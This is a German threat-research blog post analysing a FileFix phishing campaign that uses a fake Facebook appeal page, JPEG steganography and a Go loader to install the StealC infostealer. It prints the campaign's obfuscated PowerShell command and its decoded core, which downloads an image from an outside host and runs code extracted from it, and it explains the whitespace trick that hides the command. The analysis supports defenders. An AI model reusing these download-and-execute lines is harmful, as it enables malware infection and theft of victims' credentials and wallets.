Neue FileFix-Kampagne geht über den Machbarkeitsnachweis hinaus und setzt Steganografie ein

Autor: Eliad Kimhy

• Erster komplexer Einsatz von FileFix über einen Machbarkeitsnachweis hinaus: Die Forscher:innen der Acronis Threat Research Unit (TRU) haben ein seltenes Beispiel für eine im Umlauf befindliche FileFix-Kampagne entdeckt. Es handelt sich dabei um den ersten Fall eines solchen Angriffs, der sich nicht strikt an das Design des ursprünglichen Machbarkeitsnachweises (Proof of Concept, POC) hält.

• Anstieg von *Fix-Angriffen und Varianten: In den letzten Monaten haben ClickFix-Angriffe um über 500 % zugenommen. Außerdem wurden neue ClickFix-Varianten entwickelt, wie beispielsweise FileFix. FileFix wurde erstmals Anfang Juli vom Forscher „Mr. d0x” theoretisch konzipiert und zu einem Machbarkeitsnachweis weiterentwickelt.

• Ausgeklügelte Phishing-Infrastruktur: Die beobachtete Kampagne nutzt eine sehr überzeugende, mehrsprachige Phishing-Website (z. B. eine gefälschte Facebook-Sicherheitsseite) mit Anti-Analyse- und fortschrittlicher Verschleierungstechniken, um einer Entdeckung zu entgehen.

• Steganografie zum Verbergen von Schadcode: Der Angriff nutzt auf einzigartige Weise Steganografie, indem sowohl ein PowerShell-Skript der zweiten Stufe als auch verschlüsselte, ausführbare Payloads in scheinbar harmlose JPEG-Bilder eingebettet werden. Diese Bilder werden von der ursprünglichen Payload heruntergeladen und analysiert, um schädliche Komponenten zu extrahieren und auszuführen, was die Erkennung erschwert.

• Mehrstufige Payloads mit mehrschichtiger Verschleierung und Umgehung: Die Infektionskette basiert auf einem mehrstufigen Payload-Delivery-System, das mit einem stark verschleierten PowerShell-Befehl beginnt, der seine Komponenten fragmentiert und verschlüsselt, um einer Erkennung zu entgehen. In nachfolgenden Stadien werden weitere Payloads mit Techniken wie variablenbasierter Befehlskonstruktion, Base64-Codierung und verschlüsselten URLs dechiffriert, dekomprimiert und ausgeführt, um die Tarnung zu maximieren und Sicherheitskontrollen zu umgehen.

• Die endgültige Payload verteilt den Infostealer StealC: Im letzten Stadium wird ein Loader (in „Go” geschrieben, mit VM-/Sandbox-Prüfungen und Zeichenfolgenverschlüsselung) bereitgestellt, der den Infostealer StealC ausführt, der es wiederum auf Webbrowser, Kryptowährungs-Wallets, Messenger-Applikationen und Cloud-Anmeldedaten abgesehen hat. StealC besitzt zudem die Fähigkeit, weitere Malware nachzuladen.

• Schnelle Entwicklung und globale Ausrichtung: Die Kampagne hat sich innerhalb weniger Wochen rasant weiterentwickelt, wobei mehrere Varianten und Payloads beobachtet wurden. Die steigenden Erkennungsraten im Zusammenhang mit der Kampagne deuten darauf hin, dass sich die Angriffe wohl beschleunigt ausbreiten werden. Die Infrastruktur und die Mehrsprachenunterstützung deuten auf eine globale Ausrichtungsstrategie hin, mit mutmaßlichen Opfern in zahlreichen Ländern.

Erst kürzlich haben Forscher:innen der Acronis Threat Research Unit (TRU) ein seltenes Beispiel für einen im Umlauf befindlichen FileFix-Angriff entdeckt: Eine neue Variante des mittlerweile berüchtigten ClickFix-Angriffsvektors. Der entdeckte Angriff setzt nicht nur FileFix ein, sondern ist unseres Wissens nach auch das erste Beispiel für einen Angriff, der sich nicht strikt an das Design des ursprünglichen Machbarkeitsnachweises („Proof of Concept“, POC) demonstrated by Mr. d0x vom Juli 2025 hält. Darüber hinaus zeichnet sich der Angriff durch eine raffinierte Phishing-Website und Payload aus, die in vielerlei Hinsicht über das hinausgeht, was wir von ClickFix- oder FileFix-Angriffen in der Vergangenheit gewohnt sind (von einigen bemerkenswerten Ausnahmen abgesehen).

Diese Forschung ist nicht nur ein faszinierendes Beispiel dafür, wie schnell ein Machbarkeitsnachweis zu einem Angriffsvektor werden kann (und wie wichtig es ist, bei dieser Art von Forschung auf dem Laufenden zu bleiben), sondern auch ein beeindruckendes Beispiel für einen *Fix-Angriff, sei es ClickFix oder FileFix. Die Kriminellen hinter diesem Angriff haben erhebliche Investitionen in ihre Methoden gesteckt und dabei die Phishing-Infrastruktur, die Payload-Verteilung und die übrigen unterstützenden Komponenten sorgfältig entwickelt, um sowohl die Effizienz ihrer Umgehungsmaßnahmen als auch die Schlagkraft der Angriffe zu steigern. Dies ist einer der raffiniertesten Beispiele für *Fix-Angriffe, die unser Team bisher beobachten konnte.

Viele der bei diesem Angriff verwendeten Techniken können auch wirkungsvoll für ClickFix- oder FileFix-Angriffe eingesetzt werden und sollten daher von allen, die sich mit den zunehmenden *Fix-Angriffen befassen, im Auge behalten werden. Zu diesen Techniken gehören eine Phishing-Website mit Anti-Analyse-Mechanismen (wie Funktionsumbenennung und Code-Minimierung) sowie mehrsprachige Köder, zusammen mit einer speziell angefertigten PowerShell-Payload, die ein Skript der zweiten Stufe und eine ausführbare Datei aus einem JEPG-Bild mittels Steganografie abruft und diese Aktivität durch die Verwendung von Variablen verschleiert. Die letzten drei sind im Zusammenhang mit ClickFix und FileFix eher ungewöhnlich. Und insbesondere Steganografie ist nichts, was wir bisher in Verbindung mit einer *Fix-Payload gesehen haben.

In diesem Blog-Artikel präsentieren wir Ihnen eine umfassende, ausführliche Analyse des Angriffs, um Sicherheitsteams bei der Erkennung und Abwehr von *Fix-Angriffen zu unterstützen.

AllFix- oder *Fix-Angriffe sind Sammelbezeichnungen für eine Gruppe von Angriffstechniken, zu denen ClickFix, FileFix, PromptFix und andere Varianten gehören, die in den letzten Monaten in alarmierender Häufigkeit aufgetreten sind.

Die Grundidee bei dieser Art von Angriffstechnik besteht darin, die Opfer dazu zu bringen, die schmutzige Arbeit der Angreifer selbst zu erledigen. Das jeweilige Opfer wird dabei dazu verleitet, den Schadcode (meist Payload genannt) des Angreifers in sein eigenes Terminal-Programm (bzw. eine andere, geeignete Betriebssystem-Funktionalität, etwa den Windows-Ausführungsdialog) zu kopieren und darüber auszuführen. Im Grunde genommen ist es das Cyber Security-Äquivalent zu einem Taschendieb, der sein Opfer auffordert, ihm einfach seine Brieftasche sowie den Haus- und Autoschlüssel zu übergeben, anstatt sich selbst Mühe beim Taschendiebstahl zu machen.

Warum jemand auf so etwas hereinfallen sollte, hängt von der Angriffsmethode und den eingesetzten Social Engineering-Techniken ab. Bei der häufigsten Art von *Fix-Angriffen, nämlich ClickFix, werden die Benutzer:innen aufgefordert, einen gefälschten CAPTCHA-Test durchzuführen. Statt jedoch eine Reihe von Ampeln und Fahrrädern identifizieren zu müssen, erhalten die Opfer eine einfache Anweisung: Drücken Sie Win+R, um den Windows-Dialogfeld „Ausführen“ zu öffnen, fügen Sie einen Befehl mit Strg+V ein (oft hinter einem Text wie „Ich bin kein Roboter“ versteckt) und drücken Sie anschließend die Eingabetaste. Da könnte manch ein(e) Benutzer:in erst „Wie erfrischend einfach“ denken – und dann wird die entsprechende Maschine mit einem Programm zum Diebstahl von Informationen („Information Stealer“), einer Ransomware oder einem anderen Schadcode infiziert.

So unwahrscheinlich ein solcher Angriffsvektor auch erscheinen mag: ClickFix-Angriffe haben in den letzten Monaten stark zugenommen und wurde für Angriffe unterschiedlicher Komplexität und Zielsetzung eingesetzt – von gewöhnlichen Stealern bis hin zu Remote-Access-Trojanern, die von Nationalstaaten eingesetzt werden. Ich wünschte, ich könnte sagen, dass diese Art von Angriffen ausschließlich auf hochentwickelten Social Engineering-Techniken beruhen, wie dies einige wohl auch tun. Viele andere Angreifer sagen jedoch einfach: „Hey Benutzer, öffne dein Terminal-Fenster und füge diesen Befehl ein, um ... äh ... zu beweisen, dass du ein Mensch bist!“ Klingt das nach einem schlauen Vorgehen? Eigentlich nicht. Aber funktioniert es? Scheinbar schon. Vielleicht ist dies ein weiteres Beispiel dafür, dass die Lösung eines Problems (Bot- bzw. Anti-Bot-Maßnahmen) zu einem anderen Problem führen kann (Anti-Bot-Maßnahmen sind so kompliziert und aufwendig, dass das Einfügen eines Befehls in ein Terminal-Fenster im Vergleich dazu akzeptabel oder einfacher erscheint).

FileFix unterscheidet sich ein wenig von einem durchschnittlichen ClickFix und ist im vorliegenden Fall auch ein ziemlich überzeugender Social Engineering-Angriff. Bei einem FileFix-Angriff wird nicht versucht, die Benutzer:innen dazu zu bringen, ein Terminal-Programm oder den Windows-Ausführungsdialog (über die Tastenkombinationen Win + R) zu öffnen. Stattdessen wird bei einem FileFix-Angriff eine Datei-Upload-Funktionalität über HTML genutzt, um einen Upload-Button bereitzustellen. In unverdächtigen Situationen öffnet diese Schaltfläche bei Betätigung in einer Windows-Umgebung ein Windows Explorer-Fenster und ermöglicht den Benutzer:innen dann, Dateien auf eine Website hochzuladen. Bei einem FileFix-Angriff werden die Benutzer:innen jedoch dazu verleitet, einen schädlichen Befehl in die Adressleiste des Windows Explorers einzufügen, wodurch der Befehl dann lokal auf der Maschine des /der Benutzer:in ausgeführt wird. Dies verschafft den Angreifern einen potenziellen Vorteil gegenüber einem gewöhnlichen ClickFix-Angriff, auf den wir später in diesem Artikel noch näher eingehen werden.

Wie bereits erwähnt, dreht sich der Angriff um eine Phishing-Website. Basierend auf anderen ClickFix-Beispielen und Kontextinformationen aus der Phishing-Website selbst ist es wahrscheinlich, dass die Opfer per Phishing-E-Mail auf die Phishing-Website geleitet werden. In einer solchen E-Mail kann sich der Angreifer beispielsweise als Facebook-Sicherheitsmitarbeiter:in ausgeben. Der Angreifer informiert das Opfer dann über eine angeblich bevorstehende Kontoschließung und fordert es auf, als Gegenmaßnahme die Phishing-Website aufzurufen.

Auf der Phishing-Website wird das Opfer dann mit einer düsteren Mitteilung konfrontiert: Sein Konto wäre wegen Verstößen gemeldet worden und würde in sieben Tagen gesperrt (wobei der Angreifer sogar das Datum der Kontosperrung mitteilt). Und noch schlimmer: Wenn innerhalb von 180 Tagen keine Maßnahmen ergriffen würden, würde das Konto gelöscht. Das Opfer erhält dann direkt auf der Seite die Möglichkeit, Einspruch zu erheben.  Welch ein (vermeintliches) Glück!

Wenn sich das Opfer für einen Widerspruch entscheidet, wird ihm mitgeteilt, dass ihm dafür vom Meta-Team eine PDF-Datei übermittelt wird. Um die PDF-Datei und die darin enthaltenen Anweisungen (wie der Widerspruch gegen die Sperrung erfolgen soll) anzuzeigen, sollen die Opfer den Windows Explorer öffnen und dort den Dateipfad zur PDF-Datei einfügen. Doch leider handelt es sich bei dem geöffneten „Windows Explorer“ um ein Fenster zum Hochladen von Dateien – und der in die Adressleiste eingefügte Pfad führt zu einer Payload. Wenn die Ausführung des Schadcodes abgeschlossen ist, erscheint die Alarmmeldung „Keine Datei gefunden“. Wenn das Opfer dann auf „Weiter“ klickt, erscheint eine weitere Fehlermeldung mit der Aufforderung „Bitte die Schritte abschließen“. Das Opfer ist also in einer Art Zwickmühle, weil es keine Datei hat und auch keinen Widerspruch einlegen kann.

Währenddessen führt die Payload im Hintergrund ein mehrstufiges PowerShell-Skript aus. Dieses Skript lädt ein Bild herunter, entschlüsselt dieses in einer zweiten Angriffsstufe und verwendet dann sowohl das Skript als auch dasselbe Bild, um eine ausführbare Datei zu entschlüsseln und abzulegen, die wiederum zusätzlichen Shellcode übermittelt. Die nachfolgenden Abschnitte erläutern die gesamte Angriffskette im Detail.

Bei unseren Untersuchungen wurde schnell klar, dass die Angreifer hinter dieser Bedrohung jeden Aspekt des Angriffs sorgfältig geplant hatten. Dies gilt nicht nur für die verschiedenen „obfuskierten“ Skripte und verschlüsselten Payloads, sondern auch für die Phishing-Website, über die der Angriff gestartet wurde.

Hier tritt FileFix zum ersten Mal außerhalb des bisherigen Machbarkeitsnachweises in Erscheinung. Seitdem der ursprüngliche Blog-Beitrag von „Mr. d0x” zu dieser Technik veröffentlicht wurde, sind weitere Beispiele aufgetaucht. Dabei handelt es sich jedoch größtenteils um erste Versuche bzw. Tests. Ein Beispiel ist eine exakte Kopie des Machbarkeitsnachweises von „Mr. d0x”, ein anderes scheint eine leicht abgewandelte Version davon zu sein. Beide Beispiele sind interessant und bemerkenswert, aber die Technik ist kaum von einer durchschnittlichen ClickFix-Website zu unterscheiden.

Wenn FileFix jedoch von der traditionellen CAPTCHA-Routine befreit wird, die von so vielen ClickFix-Websites verwendet wird, kann es seine Stärken voll ausspielen. Die Entscheidung für eine Facebook-Sicherheitsseite ergibt einen überzeugenden Social Engineering-Köder. Und obwohl es an ClickFix-Angriffen, die ähnlich kreative Tricks nutzen, keinen Mangel gibt, scheint FileFix etwas weniger bedrohlich zu wirken und könnte sich daher als vermeintlich glaubwürdiger erweisen. Schließlich haben viele Benutzer:innen noch nie ein Terminal-Fenster geöffnet. Aber wer hat nicht schon mindestens einmal ein Datei-Upload-Fenster verwendet?

Aus technischer Sicht unterscheidet sich FileFix in mehreren Punkten von ClickFix. Einerseits dürfte das von FileFix benötigte Datei-Upload-Fenster für die meisten Benutzer:innen in den meisten Umgebungen verfügbar sein – während der Zugriff auf ein Terminal-Fenster oder den Ausführungsdialog eingeschränkt sein kann. Und macht es für ClickFix-Angriffe schwieriger. Andererseits besteht eine der Herausforderungen bei der Erkennung von ClickFix-Angriffen darin, dass sie über den Ausführungsdialog von Explorer.exe oder über ein Terminal-Fenster eingeleitet werden. Bei FileFix wird die Payload hingegen über den Webbrowser des Opfers ausgeführt, was von Schutzlösungen/-maßnahmen eher erkannt werden kann. Abgesehen davon sind die beiden Techniken recht ähnlich.

Der interessante (d. h. schädliche) Teil der Phishing-Website ist in JavaScript geschrieben und enthält viele Verschleierungselemente sowie einige Funktionen, die die Reichweite und Schlagkraft der Angriffe erhöhen sollen.

Auf den ersten Blick scheint die Website völlig normal zu sein. Als sie zum ersten Mal auf unserem Radar auftauchte, hätten wir sie sogar für eine Falsch-Positiv-Erkennnung halten können: Es gab keine typische CAPTCHA-Routine, was normalerweise ein sicheres Zeichen für ClickFix ist. Bei genauerer Betrachtung ergaben sich jedoch überraschende Ergebnisse. Tatsächlich handelte es sich um eine schädliche Website und das gesamte Skript ist auf etwa 12 Zeilen (von ursprünglich etwa 18.000) komprimiert („minimiert“) worden.

Die Website ist stark verschleiert und wurde unter Implementierung mehrerer Anti-Analyse-Techniken erstellt. Variablen und Funktionsnamen bestehen aus zufälligen Buchstabenkombinationen. Der eigentliche Code ist fragmentiert und über das gesamte Skript verteilt. Es gibt viel toten Code und Irreführungen. Dies ist zwar nicht typisch für ClickFix-Websites, aber eine gängige Technik bei JavaScript-basierter Malware. In unserem Fall erwies sich die Verschleierung jedoch als sehr schwierig zu entwirren, sodass wir uns durch Tausende Zeilen Programmcode, Variablen und Funktionen wühlen mussten (wie es die Autoren der Website wahrscheinlich auch beabsichtigt haben). Das macht es zu einer herausfordernden Erfahrung und wir können nicht sicher sein, dass wir alle Aspekte des Codes aufgedeckt haben.

Wir konnten jedoch Übersetzungen in 16 Sprachen finden – darunter Arabisch, Russisch, Hindu, Japanisch, Polnisch, Deutsch, Spanisch, Französisch, Malaiisch, Urdu und weitere. Es wurde also viel Arbeit in die Erstellung der Website gesteckt. Die Absicht dahinter ist klar: die Reichweite des Angriffs zu maximieren.

Wir haben diverse Varianten derselben Website entdeckt, die alle in den letzten zwei Wochen aktiv waren und jeweils leicht unterschiedliche Payloads, Techniken, Dateien und manchmal auch Variationen der erfundenen Social Engineering-Hintergrundgeschichte aufwiesen. Wenn man sich durch frühere Versionen der Website arbeitet, kann man die Entwicklungsgeschichte des Angriffs nachvollziehen – sowohl in Bezug auf die Social Engineering- als auch die technischen Methoden. Es scheint, dass auch in diesem Fall die Gruppe, die dahintersteht, stetig daran arbeitet, ihre Methodik zu perfektionieren.

Die Payload wird anfänglich als einzelne Codezeile übermittelt: ein PowerShell-Befehl, der teilweise Base64-verschleiert und fragmentiert ist, ähnlich wie der JavaScript-Code, der für die Phishing-Website verwendet wird. Es handelt sich um eine ungewöhnlich komplexe Vorgehensweise für einen *Fix-Angriff. Die meisten von uns beobachteten Payloads lagen im Klartext vor, einige zeigten eine teilweise „Obfuskierung“ (Verschleierung), aber keine war derart komplex. Im Zusammenhang mit FileFix-Angriffen handelt es sich hierbei um einen einzigartigen und ungewöhnlich komplexen Ansatz, der ein interessantes Forschungsthema darstellt.

Von allen Stufen bei diesem Angriff erscheint uns dieses anfängliche Payload-Skript am interessantesten. Während das Opfer erfährt, dass sein Facebook-Konto (angeblich) gelöscht wurde, und den schädlichen Befehl in die Adressleiste für Datei-Uploads einfügt, um dann geduldig auf den „Vorfallsbericht” zu warten (der Informationen zum Widerspruchsverfahren enthalten soll), geschehen im Hintergrund diverse Dinge. Und alles beginnt mit einem einzelnen Bild.

Stellen Sie sich ein idyllisches Szenario vor: ein wunderschönes Haus auf einer Wiese, Gänseblümchen im Vordergrund; eine Makroaufnahme einer Schnecke auf taufrischen Blättern am Morgen. Jede Payload (von den zahlreichen, die wir bisher dokumentiert haben) beginnt mit einem dieser Bilder. Aber diese JEPG-Dateien werden nicht einfach nach künstlerischen Aspekten ausgewählt. Jedes Bild enthält vielmehr sowohl ein PowerShell-Skript der zweiten Stufe als auch eine ausführbare Payload. Jedes Bild ist leicht anders und die Payloads unterscheiden sich zwischen den verschiedenen Website-Versionen. Die Bilder scheinen alle per KI generiert worden zu sein (obwohl wir da nicht ganz sicher sein können). Es ist schon etwas absurd, dass die Autoren des Angriffs offenbar eine „friedvolle Szene eines Hauses in der Prärie“ von der KI angefordert haben, nur um in dieses Bild dann schädlichen Code einzufügen. Aber, nun ja, das sind die Zeiten, in denen wir leben.

Aber schauen wir uns das Ganze einmal genauer an. Die ursprüngliche Payload, die der/die Benutzer:in freiwillig in die Adressleiste des Datei-Uploads eingibt und ausführt, sieht so aus:

PowerShell -noP -W H -ep Bypass -C "$if=[System.IO.File];$ifr=$if::ReadAllBytes;$ifw=$if::WriteAllBytes;$e=[System.Text.Encoding]::UTF8;$c=[System.Convert];$egb=$e.GetBytes;$egs=$e.GetString;$cf=$c::FromBase64String;$ct=$c::ToBase64String;$u='hxxps[://]bitbucket[.]org/pibejiloiza/pi73/raw/4e2ff4d859e04af8d01fd961ab56163736a731f9/pexels-willianmatiola-33593998-3[.]jpg';$egs.Invoke($cf.Invoke('JHBfZmlzdD0tam9pbigkZW52OlRFTVAsJ1x6ZDc0NmYxY2UxYzAuanBnJyk7SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAkdSAtTWV0aG9kIEdldCAtT3V0RmlsZSAkcF9maXN0IC1FcnJvckFjdGlvbiBJZ25vcmU7CiRpbWFnZV9ieXRlcz0kaWZyLkludm9rZSgkcF9maXN0KTskcF9ieXRlcz0kaW1hZ2VfYnl0ZXNbMTEwMTI1My4uKCRpbWFnZV9ieXRlcy5MZW5ndGgtMSldOyRlLkdldFN0cmluZygkcF9ieXRlcyl8aWV4Ow=='))|iex;$z=' C:\\Users\\Default\\Documents\\Meta\\Facebook\\Shared\\Incident_reported.pdf'"

1.      Um die jeweilige Person dazu zu bringen, zu glauben, dass sie den Pfad zu einer PDF-Datei mit der Bezeichung „Vorfallsbericht“ („Incident Report“) einfügt, hat der Angreifer eine Variable am Ende der Payload eingefügt, die viele Leerzeichen und einen gefälschten Pfad enthält. Dies wird gemacht, damit in der Adressleiste nur der Dateipfad angezeigt wird und keiner der schädlichen Befehle. Bei einem durchschnittlichen ClickFix-Angriff geschieht dies unter Verwendung des Symbols „#“ anstelle einer Variablen, was von der PowerShell als Kommentar des/der Entwickler:in interpretiert wird. Dies hat den unbeabsichtigten Vorteil, dass jede Malware-Erkennungsmethode, die darauf ausgelegt ist, nach dem Symbol „#” von ClickFix zu suchen, dies wahrscheinlich übersehen wird.

2.      Dies ist ein auffallend großer Befehl – viel größer als eine durchschnittliche ClickFix-Payload. Der Befehl enthält nicht nur eine Base64-kodierte Payload, sondern hat auch alle im Skript verwendeten Klassen und Namespaces – in mehrere kleinere Komponenten aufgeteilt und als Variablen gespeichert. Diese Variablen werden dann aufgerufen, um den vollständigen Befehl aufzubauen. Dadurch wird die Verschleierungsfähigkeit des Skripts gegenüber Erkennungsmechanismen, die nach gefährlichen Mustern suchen, erheblich verbessert.

3.      Die Angreifer verwenden die Plattform „BitBucket“, um das für den Angriff verwendete Bild zu übermitteln. Bei der zweiwöchigen Beobachtung der Payload-Entwicklung haben wir festgestellt, dass die Angreifer dazu übergegangen sind, ihre schädlichen Domains (wie elprogresofood[.]com) nicht mehr selbst zu hosten, sondern dafür BitBucket einzusetzen. Dadurch können die Angreifer einer Entdeckung entgehen und müssen keine schädlichen Domain mehr registrieren und verwalten.

Als ob Steganografie, Verschleierungstechniken und Befehlsfragmentierung nicht schon ausreichen würden, haben die Angreifer bei einigen Payload-Varianten sogar die URL verschlüsselt. Die URL wird per XOR-Verschlüsselung chiffriert, wobei ein fest in die Payload eingebetteter Schlüssel verwendet und per Hex-Bytes codiert wird. Die resultierende verschlüsselte URL wird während der Laufzeit dechiffriert und codiert.

Innerhalb des Base64-codierten Bits befindet sich das Herzstück der Payload:

$p_fist=-join($env:TEMP,'\zd746f1ce1c0.jpg'); Invoke-WebRequest -Uri $u -Method Get -OutFile $p_fist -ErrorAction Ignore; $image_bytes=$ifr.Invoke($p_fist); $p_bytes=$image_bytes[1101253..($image_bytes.Length-1)]; $e.GetString($p_bytes)|iex;

Hier lädt das Skript das Bild in den Temp-Ordner des Opfers herunter und extrahiert dann ein PowerShell-Skript der zweiten Stufe, das an einem bestimmten Positionsmarker in der Bilddatei gespeichert ist. Sobald der Code extrahiert und in eine Zeichenfolge umgewandelt wurde, wird er als Skript ausgeführt.

Die Aufgabe des Skripts der zweiten Stufe besteht darin, eine schädliche Payload aus dem Bild zu extrahieren. Ja, wir kehren noch einmal zu unserer schönen idyllischen Szene zurück, um unsere Payload zu erhalten. Im Gegensatz zum Skript der zweiten Stufe, das im Bild im Klartext gespeichert ist (und daher erkennbar ist, obwohl die Bilddatei selbst nicht schädlich ist und möglicherweise keine Alarmmeldungen auslöst), sind die ausführbaren Payloads innerhalb des Bildes verschlüsselt. Das Skript der zweiten Stufe beginnt damit, zwei Funktionen einzurichten: eine zum Entschlüsseln der Dateien mit RC4-Dechiffrierung und die andere zum Dekomprimieren der Dateien mithilfe von gzip.

Sobald diese definiert sind, beginnt das Skript mit dem Extrahieren der Datei(en):

Das Skript kann mehr als eine Datei bereitstellen und sowohl DLLs als auch ausführbare EXE-Dateien bereitstellen. Sobald die Positionsmarker für den Start- und Endpunkt jeder Datei innerhalb des Bildes bereitgestellt sind, beginnt das Skript damit, jede Datei zu extrahieren und zu entschlüsseln, die Erweiterung zu identifizieren und dann jede Datei auf passende Weise auszuführen (damit beispielsweise keine DLL-Datei ausgeführt wird). Jede EXE-Datei wird über „conhost.exe“ ausgeführt und nach 12 Minuten wieder gelöscht. Schließlich erscheint ein Pop-up-Fenster mit einer gefälschten Fehlermeldung, die dem Opfer mitteilt, dass „die Datei nicht geöffnet werden kann“.

Das bringt uns wieder zum Anfang zurück. Aus Benutzersicht ist lediglich Folgendes geschehen: Er/Sie hat wie angewiesen den Dateipfad eingefügt. Einige Augenblicke später erscheint eine Fehlermeldung, dass die Datei nicht geöffnet werden konnte. Auf der Phishing-Website kann der/die Benutzer:in aber erst weitermachen, wenn die Datei geöffnet wurde. Die jeweilige Person ist in dieser Situation also quasi gefangen. In der Zwischenzeit wurde im Hintergrund eine Payload auf die Maschine heruntergeladen und eingeschleust.

Es kann mehrere Gründe geben, warum die Angreifer ihr Skript in zwei Stufen aufgeteilt haben. Zum einen ermöglicht die Einbettung des Skripts der zweiten Stufe in die Bilddatei dem Angreifer mehr Flexibilität, die abgelegten Dateien zu ändern, ohne die Payload auf der Phishing-Website zu verändern. Ein weiterer Grund könnte im Bemühen liegen, Erkennungsmaßnahmen zu umgehen, da eine geringere Größe des Base64-codierten Befehls weniger Aufmerksamkeit erregen dürfte.

Insgesamt ist diese Skript-Kette in der Landschaft der *Fix-Payloads einzigartig. Dieser Ansatz ermöglicht den Angreifern eine bessere Tarnung als üblich, zeigt klare Bemühungen zur Umgehung von Sicherheitsmaßnahmen und stellt sicher, dass die Payload flexibel genug ist, um eine breite Palette von Malware in verschiedenen Szenarien zu verbreiten. Die eingesetzte Steganografie ist in vielerlei Hinsicht interessant und kommt bei *Fix-Angriffen bisher nicht häufig vor. Dies bietet dem Angreifer eine zusätzliche Tarnmöglichkeit, weil entsprechende Abwehrmaßnahmen nicht erkennen, dass eine Bilddatei heruntergeladen wird, und daher keinen Alarm auslösen. All dies führt zu einer komplexen und ausgeklügelten Infektion, besonders im Vergleich zu anderen Angriffen, bei denen ClickFix und FileFix zum Einsatz kommen. 

Und jetzt zur Payload, dem Kronjuwel, dem Glanzstück! Nun, in diesem Fall vielleicht doch nicht so sehr. Verstehen Sie uns nicht falsch: Es handelt sich um einen interessanten Loader, der in der Programmiersprache „Go“ geschrieben wurde und sowohl VM-Checks als auch Verschleierungstechniken einsetzt und schließlich den Shellcode entschlüsselt und in den Arbeitsspeicher lädt. Dieser Shellcode entpackt dann „StealC“ – einen beliebten und leistungsfähigen „Information Stealer“, der sich auch als Downloader und Loader verwenden lässt. Das ist nicht schlecht, aber wir hatten auf mehr gehofft – und vielleicht kommt ja auch mehr. In den letzten zwei Wochen haben wir beobachtet, wie sich die Payload weiterentwickelt, vergrößert und verändert hat. Und derzeit wird die Angriffsmethode offenbar noch mehr variiert.

Aber der Reihe nach: Sobald die Payload vom Skript der zweiten Stufe ausgeführt wurde, startet sie einen Sandbox-Test, um festzustellen, ob sie in einer VM ausgeführt wird. Dabei handelt es sich um eine recht einfache Überprüfung: Die Payload entschlüsselt eine Liste mit Grafikkarten-Namen, die häufig in VMs und Sandbox-Umgebungen verwendet werden. Anschließend wird die Funktion „EnumDisplayDevicesA“ aufgerufen und jedes Gerät mit der Liste der gesperrten Grafikkarten abgeglichen. Glücklicherweise lässt sich diese Überprüfung leicht umgehen.

Nebenbei bemerkt: Jede vom Loader ausgeführte Zeichenfolge ist verschlüsselt, einschließlich aller API-Aufrufnamen. Der Loader verfügt über mehrere Funktionen, die speziell dafür vorgesehen sind, die Namen von API-Aufrufen (wie EnumDisplayDevicesA, NtAllocateVirtualMemory usw. ) zu erfassen. Ironischerweise sind die einzigen Elemente, die nicht verschlüsselt sind (zumindest bei Erstellung dieses Artikels), die Namen derjenigen Funktionen, die API-Aufrufnamen entschlüsseln und in den Arbeitsspeicher laden. Diese werden passenderweise getNtAllocateVirtualMemory, getEnumDisplayDevicesA usw. genannt. Es ist nicht abwegig anzunehmen, dass wir es hier mit einem noch in der Entwicklung befindlichen Projekt zu tun haben, da die Angreifer bestimmt daran arbeiten werden, die Fähigkeiten dieses Loaders in Zukunft noch zu verbessern und vielleicht eine andere Payload anzuhängen.

Sobald der VM-Check bestanden (oder umgangen) wurde, entschlüsselt der Loader den Shellcode und führt diesen aus, was dann zu einer StealC-Infektion führt. StealC wiederum sammelt dann Informationen aus der IT-Umgebung des Benutzers (wie Kennwörter, Webbrowser-Informationen, beliebte Gaming- und Chat-Applikationen sowie Daten über Kryptowährungen) und sendet diese an die Angreifer zurück.

Bei unserer Untersuchung hat StealC versucht, Informationen aus einer langen Liste von Webbrowser zu stehlen: wie Chrome, Firefox, Opera, Explorer, QQ Browser, Quark, UC Browser, Sogou Explorer und Maxthon. Es sucht zudem nach Kryptowährungs-Wallets wie Bitcoin, Dogecoin, Ravencoin, Daedalus, Mainnet, Blockstream Green, Wasabi Wallet, Ethereum, Electrum, Electrum-LTC, Ledger Live, Exodus, Electron Cash, MultiDoge, Jaxx Liberty, Atomic Wallet, Binance, Coinomi und Guarda. Darüber hinaus sucht es nach Informationen aus Messaging-, VPN- und Datenbank-Applikationen (wie Thunderbird, Telegram, Discord, Tox, Pidgin, Ubisoft Game Launcher, Battle.net, OpenVPN und ProtonVPN) sowie nach Azure- und AWS-Schlüsseln.

Bei unseren Ermittlungen haben wir mehrere Iterationen des Angriffs entdeckt, die bis zu zwei Wochen zurücklagen. Durch diese Iterationen können wir eine Entwicklung sowohl der Social Engineering-Methoden als auch der technischen Angriffsaspekte nachvollziehen. Vielleicht ist dies ein Hinweis darauf, dass die Angreifer eine Infrastruktur testen, die sie zukünftig einbringen wollen. Oder es handelt sich um Iterationen, die während der Kampagne hinzugefügt wurden, da die Angreifer gelernt haben, sich weiter anzupassen und zu optimieren.

Innerhalb von zwei Wochen haben wir eine Weiterentwicklung der Payload beobachtet. Wir konnten beobachten, wie sich eine einstufige PowerShell-Payload (die das gesamte Skript enthielt, einschließlich der Teile zum Extrahieren und Entschlüsseln) zu dem jetzt bekannten zweistufigen Skript entwickelt hat. Und auch dieses wurde noch weiter entwickelt und enthält jetzt eine potenzielle Liste von ausführbaren .exe- und .dll-Dateien. Während dieser Zeit war und ist Steganographie jedoch ein wesentlicher Bestandteil des Angriffs gewesen. Bei der neuesten Iteration des Angriffs scheint das gesamte Skript der ersten Stufe aus einer .log-Datei geladen zu werden, die auf Bitbucket gehostet wird. Der Rest der Angriffsausführung bleibt unverändert.

Auch die ausführbaren Payloads haben sich verändert. Bei früheren Angriffen wurden per „OLLVM“ verschleierte Binärdateien verwendet, anstatt des von uns beschriebenen Go-basierten Shellcode-Loaders.

Und schließlich hat sich auch der Social Engineering-Aspekt des Angriffs leicht verändert: Ursprünglich wurden die Benutzer:innen aufgefordert, ihren Ausweis hochzuladen, um eine Löschung ihres Kontos zu verhindern. Und die Datei, die sie sich ansehen sollten, enthielt lediglich Anweisungen darüber, wie sie ihren Ausweis auf die Website hochladen sollten. Dies wurde in späteren Fassungen durch ein Dokument ersetzt, in dem die mutmaßlichen Richtlinienverstöße des Opfers detailliert aufgeführt werden. Seltsamerweise wurde jedoch die Formulierung beibehalten, dass der/die Benutzer:in ihren Ausweis hochladen soll.

